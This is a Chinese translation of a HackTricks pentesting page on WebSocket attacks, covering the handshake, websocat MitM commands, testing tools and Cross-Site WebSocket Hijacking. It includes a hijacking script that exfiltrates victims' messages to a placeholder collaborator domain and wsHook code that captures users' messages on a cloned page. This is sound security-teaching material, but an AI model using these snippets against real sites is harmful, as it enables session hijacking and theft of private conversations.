11 KiB
WebSocket 攻击
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家NFTs
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注我们**。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
什么是 WebSockets
WebSocket 连接是通过初始的 HTTP 握手建立的,并且被设计为长期存在,允许在任何时候进行双向消息传递,无需事务系统。这使得 WebSockets 特别适用于需要低延迟或服务器发起的通信的应用,比如实时金融数据流。
建立 WebSocket 连接
有关建立 WebSocket 连接的详细说明,请访问此处。简而言之,WebSocket 连接通常是通过客户端 JavaScript 发起的,如下所示:
var ws = new WebSocket("wss://normal-website.com/ws");
wss
协议表示通过 TLS 加密的 WebSocket 连接,而 ws
表示一个未加密的连接。
在建立连接时,浏览器和服务器之间会通过 HTTP 执行握手。握手过程涉及浏览器发送请求,服务器做出响应,如下例所示:
浏览器发送握手请求:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
服务器的握手响应:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
WebSocket握手的关键点:
Connection
和Upgrade
头部信号启动WebSocket握手。Sec-WebSocket-Version
头部指示所需的WebSocket协议版本,通常为13
。- 在
Sec-WebSocket-Key
头部中发送一个Base64编码的随机值,确保每次握手都是独一无二的,有助于防止缓存代理出现问题。这个值不是用于身份验证,而是用于确认响应不是由配置错误的服务器或缓存生成的。 - 服务器响应中的
Sec-WebSocket-Accept
头部是Sec-WebSocket-Key
的哈希值,验证服务器打算打开WebSocket连接的意图。
这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。
websocat --insecure wss://10.10.10.10:8000 -v
或者创建一个websocat服务器:
websocat -s 0.0.0.0:8000 #Listen in port 8000
中间人攻击 websocket 连接
如果发现客户端从当前本地网络连接到一个 HTTP websocket,你可以尝试进行 ARP Spoofing 攻击 来在客户端和服务器之间执行中间人攻击。
一旦客户端尝试连接到你,你可以使用:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets枚举
您可以使用工具https://github.com/PalindromeLabs/STEWS自动发现、指纹识别和搜索websockets中已知的漏洞。
Websocket调试工具
- Burp Suite支持MitM方式拦截websockets通信,与拦截常规HTTP通信的方式非常相似。
- socketsleuthBurp Suite扩展将允许您通过获取历史记录、设置拦截规则、使用匹配和替换规则、使用Intruder和AutoRepeater更好地管理Burp中的Websocket通信。
- WSSiP:简称“WebSocket/Socket.io代理”,这个用Node.js编写的工具提供了一个用户界面,用于捕获、拦截、发送自定义消息,并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
- wsrepl是一个专为渗透测试设计的交互式websocket REPL。它提供了一个界面,用于观察传入的websocket消息并发送新消息,并提供了一个易于使用的框架来自动化这种通信。
- https://websocketking.com/是一个用于使用websockets与其他网站进行通信的网站。
- https://hoppscotch.io/realtime/websocket除了其他类型的通信/协议外,它还提供了一个用于使用websockets与其他网站进行通信的网站。
Websocket实验室
在Burp-Suite-Extender-Montoya-Course中,您可以找到一个使用websockets启动web的代码,在此文章中可以找到解释。
跨站点WebSocket劫持(CSWSH)
跨站点WebSocket劫持,也称为跨源WebSocket劫持,被确定为影响WebSocket握手的特定**跨站点请求伪造(CSRF)的一种情况。当WebSocket握手仅通过HTTP cookie进行身份验证而没有CSRF令牌**或类似的安全措施时,就会出现此漏洞。
攻击者可以利用这一点,托管一个恶意网页,该网页发起与易受攻击应用程序的跨站WebSocket连接。因此,此连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏CSRF保护。
简单攻击
请注意,在建立****websocket连接时,cookie会发送到服务器。服务器可能会使用它来关联每个特定的用户与其基于发送cookie的websocket会话。
然后,例如,如果websocket 服务器在发送包含“READY”消息的情况下返回用户的对话历史记录,那么通过简单的XSS建立连接(cookie将被自动发送以授权受害者用户),发送“READY”将能够检索对话的历史记录。
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
跨域 + 具有不同子域的 Cookie
在这篇博文https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/中,攻击者成功在进行 Websocket 通信的域的子域中执行任意 JavaScript。由于它是一个子域,cookie被发送,并且由于Websocket 没有正确检查来源,因此可以与其通信并从中窃取令牌。
从用户那里窃取数据
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加此代码:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
现在从https://github.com/skepticfx/wshook下载wsHook.js
文件,并将其保存在包含网页文件的文件夹中。
暴露网页应用程序并让用户连接到它,您将能够通过websocket窃取发送和接收的消息:
sudo python3 -m http.server 80
竞争条件
WebSockets中的竞争条件也是一个问题,查看此信息以了解更多。
其他漏洞
由于WebSockets是一种将数据发送到服务器端和客户端的机制,取决于服务器和客户端如何处理信息,WebSockets可以被用来利用其他几种漏洞,如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。
WebSocket劫持
这种漏洞可能允许您通过让反向代理认为已建立了WebSocket通信(即使事实并非如此)来绕过反向代理的限制。这可能允许攻击者访问隐藏的端点。有关更多信息,请查看以下页面:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
参考资料
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。